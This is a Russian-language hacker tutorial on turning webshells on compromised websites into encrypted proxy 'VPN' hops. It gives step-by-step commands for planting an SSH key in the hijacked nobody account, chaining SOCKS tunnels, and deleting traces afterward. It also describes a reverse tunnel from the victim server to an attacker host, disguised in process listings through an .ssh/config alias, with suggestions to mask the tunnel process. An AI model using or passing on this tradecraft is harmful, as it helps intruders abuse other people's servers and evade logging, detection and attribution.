Как сделать впн из вебшелла Преамбула, или зачем это вообще нужно: Вопрос обеспечения собственной безопасности всегда актуален.
Сокс (цепочка соксов) скрывает от жертвы IP атакующего, но траффик идёт в
открытом виде, и может быть прослушан, потому на смену соксам пришёл
ВПН.
ВПН обеспечивает надёжное шифрование, но имеет ряд недостатков (часть
которых в теории можно решить правильной реализацией впн-схемы).
Для того, чтобы поднять впн-сервер, нужны права рута, что вкупе с
относительно сложной настройкой приводит к ситуации, когда ВПН-сервер
меняется редко, оставаясь месяцами и даже годами в одной и той же точке -
первая ошибка.
ВПН позволяет управлять маршрутами только на уровне подсетей, тогда как
на практике гораздо удобнее маршрутизировать траффик на уровне
приложений (направлять Firefox по одному маршруту, Safari по другому, а
netbios оставлять в локальной сети). Это ограничение приводит ко второй
ошибке - использование впн соединения на основной операционной системе
(правильно использовать впн внутри виртуальной машины, работающей с
криптоконтейнера), что, в свою очередь, приводит к нарушению одного из
важнейших правил анонимности - никогда не смешивать идентифицирующий и
компрометирующий траффик в одном тоннеле.
Трафик за ВПН к соксу (цепочке соксов) идёт в открытом виде, и может
быть прослушан как владельцами ВПН-сервиса, так и другими
заинтересованными лицами, имеющими доступ к каналу. Первая и вторая
ошибки в совокупности создают удобную точку слежения - "бутылочное
горлышко", которое собирает
весь ваш траффик в одном месте, даже
когда вы работаете из различных публичных wifi сетей, и приводит к
ситуации, когда ВПН скорее вредит безопасности, чем помогает.
Даже если вы (а не третьи лица) контролируете ВПН-сервер, сопоставление входящего и исходящего траффика позволит узнать ваш IP.
Коротко, недостатки:
1) постоянная точка расшифровки
2) управление маршрутами на уровне сетей, а не на уровне приложений
3) сложно проксировать - только double-vpn
Для решения этих проблем удобно применять ssh тоннели.
OpenSSH поддерживает работу в режиме сокс5-сервера из коробки, без
какой-либо настройки клиента и сервера, потому достаточно выполнить:
$ ssh
[email protected] -D 8081 -N
$ ssh
[email protected] -D 8082 -N
...
и вы получите серию проксирующих ssh-тоннелей к вашим серверам, как на
картинке (Legalbox1, Legalbox2). Останется только прописать работу через
socks5 прокси на соответствующих портах в нужных приложениях.
Зачем вообще нужны ssh-тоннели, когда можно недорого купить vpn?
Обыкновенные ssh-тоннели имеют несколько приятных преимуществ перед vpn -
они легко проксируются, и позволяют управлять маршрутами на уровне
приложений.
Основной плюс описанной в статье методики в том, что в качестве
ключевого звена в нашей прокси-цепи - точки расшифровки - мы будем
использовать обыкновенную "отработку", которая имеется в больших
количествах и не представляет особой ценности - веб-шеллы на
треш-сайтах, которые не удалось проапгрейдить до рута.
Таким образом, точка расшифровки, функции которой ранее выполнял
постоянный впн-сервер, в нашем случае становится такой же динамичной и
легкозаменяемой, как и обычные сокс-прокси.
На тему ssh тоннелей написано много, потому в детали углубляться не буду, перейду сразу к сути.
Считается, что для организации ssh-тоннеля нужно иметь полноценный shell.
Это не так.
Как сделать впн из вебшелла
Mr. Goodkat: A Kansas City Shuffle is when everybody
looks right, you go left. (c) Lucky Number Slevin
Небольшое отступление:
OpenSSH умеет организовывать настоящий vpn через tun интерфейс. (ssh -w)
На эту тему можно почитать в гугле. Для решения практических задач нам это не интересно, так как
1) требует рута как минимум для настройки устройства tun
2) отключено по-умолчанию
3) заметно
4) ненужно, разве что для каких-то очень специфических задач.
Здесь и далее, говоря, что мы делаем впн, я подразумеваю, что мы
получаем шифрованный проксирующий тоннель - именно то, что требуется от
"настоящего" впн под наши задачи.
Способ первый - прямое подключение (прямое - как противоположность обратному. Прокси до и после вебшелла можно и нужно использовать) Итак, у нас есть обыкновенный вебшелл.
Путь в консоль нам преграждают две проблемы:
- у нашего пользователя (nobody) не задан пароль. В etc/shadow указано что-то типа nobody:*:14069:0:99999:7:::
или nobody:!!:14069:0:99999:7:::. Для смены пароля нужно указать старый пароль, в итоге пароль сменить невозможно.
- у нашего пользователя указан шелл /sbin/nologin или его аналог, а все современные юниксы требуют ввести пароль для смены шелла.
Первую проблему мы обходим с помощью авторизации по публичному ключу,
вторая и не проблема вовсе, потому что для тоннеля шелл не нужен.
Зависимости:
- /etc/ssh/sshd_config с настройками по-умолчанию, а именно:
- не задан параметр AllowUsers в /etc/ssh/sshd_conf (по-умолчанию в конфиге не присутствует)
- AllowTcpForwarding yes или закомментирован (по умолчанию закомментирован)
- RSAAuthentication yes или закомментирован (по умолчанию закомментирован)
- PubkeyAuthentication yes или закомментирован (по умолчанию закомментирован)
- AuthorizedKeysFile в пределах домашней папки (по умолчанию закомментирован и равен .ssh/authorized_keys)
- доступ на запись к домашнему каталогу
на некоторых хостах домашний каталог read-only, а писать можно только в public_html. Такие хосты не подходят.
$ локальные команды $ команды на удалённом хосте Создаём у себя пару секретный/публичный ключи:
$ ssh-keygen -t rsa Берём файл id_rsa.pub и заливаем его в
~/.ssh/, переименовав в authorized_keys
Проставляем правильные права
$ chmod 755 ~/.ssh $ chmod go-rwXx ~/.ssh/authorized_keys Коннектимся, и получаем сокс5 у себя на порту 31337
$ ssh [email protected] -D 31337 -N ...либо используем дополнительный Socks5 после вебшелла - "External Socks5" на картинке
$ ssh [email protected] -L 31337:externalsocks.com:1080 -N ...либо используем соксы и до, и после вебшелла:
$ ssh [email protected] -L 31337:externalsocks.com:1080 -N -o ProxyCommand="connect -S internalsocks.net:1080 %h %p" линк на connect.c. ...прокси до и после вебшелла, альтернативный вариант, с поддержкой цепочек:
$ proxychains ssh [email protected] -L 31337:externalsocks.com:1080 -N линк на proxychains, прокси задаются в конфиге Можно использовать пару ключей с внешнего носителя - для этого указываем путь к секретному ключу в параметре
-i /mnt/secure_fs/id_rsa После того, как тоннель поднялся, можно удалить папку .ssh, если не
планируется использовать тоннель на постоянной основе. Так вы оставите
минимум следов.
В процессах будет
Код:
root 13768 0.0 2.1 10052 2804 ? Ss 16:32 0:00 sshd: nobody [priv]
nobody 13774 0.0 1.0 10052 1408 ? S 16:32 0:00 sshd: nobody
who и
last ваше подключение не отображают.
Достоинства:
- минимум настройки - залил ключ, поднял тоннель, попользовал, выкинул.
- скромное присутствие в процессах
- для смены внешних и внутренних соксов не нужен доступ к вебшеллу - тоннель рестартуется локально.
- нет открытых портов
- в случае использования прокси до вебшелла шелл не знает, кто вы
- можно организовать тоннель даже при Safe_mode=ON
Недостатки:
- в /var/log/secure остаётся запись о том, что пользователь nobody логинился с такого-то адреса.
- иногда доступа на запись в домашний каталог нет
Способ второй - обратное подключение Статус данной статьи:
Часть первая - "Как сделать vpn из вебшелла: прямое подключение" - обкатанная в поле технология.
Вторая часть этой статьи является исследованием, а не законченным материалом.
Метод находится в стадии доработки до чего-то юзабельного. Некоторые аспекты не тестировались.
Если вас интересует эта тематика - подключайтесь к обсуждению и разработке, попробуем получить красивое решение.
Преимущества обратного соединения перед прямым:
- в логах не остаётся следов.
- нет зависимостей - работает везде, где можно выполнить back-connect.
- нет открытых портов и входящих соединений
- исходящее соединение на произвольный порт, хоть на 80
Недостатки обратного подключения:
- для смены внутреннего или внешнего соксов требуется рестартовать тоннель на вебшелле
- нет автовозобновляемости - если тоннель упал, надо идти на вебшелл и подымать его
- при использовании прокси, прямого подключения к вашему серверу не
будет, но проксирующий процесс будет знать его реальный ip, и
теоретически его можно сдампить.
ssh с ключём -R делает отбратный тоннель - то есть теперь вебшелл
логинится к вам, открывает у вас на машине заданный порт, и тоннелит его
к себе, а на своей стороне пробрасывает соединение на указанный хост.
В этом режиме не поддерживается работа со встроенным в openssh сокс5
прокси-сервером, потому использование external proxy обязательно (либо
подымаем stand-alone прокси на вебшелле, слушающий на 127.0.0.1)
Рассмотрим обратное подключение на примере следующей схемы.
nullbox - легальная машина, которая не пишет логи.
Туда можно поставить TOR сервер, чтобы было движение "левого" траффика.
Создаём у себя аккаунт, под которым будет логиниться вебшелл, например, sftp.
$ adduser sftp Кладём ему в
~/.ssh/authorized_keys публичный ключ, секретный ключ заливаем на вебшелл.
Подымаем тоннель на вебшелле
$ ssh [email protected] -N -R 8081:externalproxy.com:1080 -i rsa_secret_key либо пропускаем тоннель через прокси sockshost.com между шеллом и nullbox:
$ ssh [email protected] -N -R 8081:externalproxy.com:1080 -i rsa_secret_key -o ProxyCommand="connect -S sockshost.com:1080 %h %p" Как оставить меньше следов?При обратном подключении в процессах светятся довольно неприятные
строки.Все параметры можно упаковать в .ssh/config, но хост, к которому
мы подключаемся, должен быть обязательно указан в командной строке.
Хитрый путь:
в .ssh/config пишем
Код:
Host goodhost.com
Hostname evilhost.com
Username sftp
Port 31337
В процессах будет висеть:
ssh goodhost.com
но на самом деле будет выполнено подключение к evilhost.com:31337
Как быть с connect.c, ведь ему нужно указывать прокси в командной строке?
Хитрый путь:
вставить в строку запуска тоннеля инициализацию переменной окружения: SOCKS5_SERVER="server.com:1080"
и вызывать connect.c с параметром -s
Не решает проблему, так как кроме сокс-сервера connect.c принимает в
командной строке ip сервера, куда нужно "проксировать", в нашем случае
nullbox.
Правильный путь:
модифицировать исходник connect.c таким образом, чтобы все переменные
задавались при компиляции, добавить маскировку в списке процессов.
На текущий момент обратное подключение кажется мне слишком громоздким и
неудобным для реального использования, особенного на фоне прямого.
Хотя, если добавить 1-click запуск из веб-шелла, всё не так страшно.
Нерешённые вопросы:
-нужно ли менять у себя ssh_host_key при прямом подключении, чтобы избавиться от следов?
-не передаёт ли ssh при хэндшейке чего-нибудь лишнего?